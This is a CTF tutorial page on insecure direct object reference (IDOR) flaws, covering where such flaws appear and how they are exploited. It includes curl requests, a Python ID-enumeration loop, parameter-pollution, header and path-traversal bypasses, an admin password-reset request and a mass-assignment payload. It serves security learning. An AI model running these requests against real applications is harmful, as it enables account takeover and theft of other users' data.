Insecure Direct Object Reference (IDOR)
Find and exploit IDOR vulnerabilities to access unauthorized resources in CTF web challenges.
Insecure Direct Object Reference (IDOR)
IDOR is an authorization vulnerability where applications expose direct references to internal objects (user IDs, file paths, database records) without checking whether the requesting user has permission to access those specific objects.
How it works: Application maps user input (ID parameter) directly to database queries or file access; predictable sequential IDs allow attackers to iterate through other users' data; bypassed by simply changing a parameter value (e.g., /user/1001 to /user/1002) without permission checks.
Why it matters: OWASP Top 10 (A01:2021 Broken Access Control); developers frequently assume object references are secret or trust URL structure; affects REST APIs, file downloads, and profile pages; enables horizontal privilege escalation (accessing peer data) and data exfiltration.
How IDORs Work
# Normal usage: user accesses their own profile
GET /api/user/1001/profile → returns user 1001's data ✓
# IDOR: change ID to another user
GET /api/user/1002/profile → returns user 1002's data ✗ (should be blocked)Where to Look
| Location | Examples |
|---|---|
| URL parameters | /profile?id=42, /document/99, /api/order/1234 |
| Hidden form fields | <input type="hidden" name="user_id" value="42"> |
| JSON body | {"user_id": 42, "action": "view"} |
| Cookie values | session=base64({"id":42,"role":"user"}) |
| Filenames | /download?file=report_42.pdf |
| API v1 endpoints | /api/v1/messages?id=X (older APIs often less protected) |
Finding the Target
Step 1: Create two accounts
Account A: user_id = 1001
Account B: user_id = 1002Step 2: Logged in as A, find requests that reference A's ID
# In Burp Suite: Proxy → HTTP history
# Search for "1001" across all requests
# Note every endpoint that uses your IDStep 3: Change the ID to B's, check if you get B's data
curl -b "session=A_session" http://target.com/api/user/1002/profile
# If returns user B's data → IDOR!IDOR Bypass Techniques
Parameter pollution
GET /api/messages?id=1001&id=1002 # might return both
GET /api/messages?user_id=1001[]=1002 # array bypassHTTP method switch
GET /api/user/1002/profile → blocked
POST /api/user/1002/profile → allowed?Indirect reference (find the real ID)
Some apps use GUIDs but encode a numeric ID elsewhere:
# Profile shows UUID, but API calls use sequential ID
# Search response for any numeric ID patterns
strings response | grep -E '[0-9]+'Path traversal variant
/download?file=../user_1002/data.txtHeader-based bypass
GET /admin/users HTTP/1.1
X-Original-URL: /admin/users
X-Forwarded-For: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1Common CTF IDOR Scenarios
1. Access another user's file
GET /download?file=flag_for_user_1.txt
→ change 1 to 0, or flag, or flag_user_02. View transaction / order with flag
import requests
session = requests.Session()
session.post('/login', data={'user': 'attacker', 'pass': 'password'})
# Flag is in transaction ID 1 (admin's)
for tx_id in range(1, 200):
r = session.get(f'http://target.com/api/transaction/{tx_id}')
if 'flag' in r.text.lower() or r.status_code == 200:
print(f"ID {tx_id}: {r.text}")3. Reset another user's password
POST /api/reset-password
{"user_id": 1, "new_password": "hacked"}
# If no ownership check → reset admin password4. Read flag from /flag endpoint
GET /api/user/0/flag # user 0 might be admin
GET /admin/flag # sometimes accessible directlyMass Assignment (Related)
If the API accepts extra fields and assigns them to the object:
// Normal:
{"username": "alice", "email": "alice@example.com"}
// Mass assignment attack - add isAdmin field:
{"username": "alice", "email": "alice@example.com", "isAdmin": true, "role": "admin"}Last updated on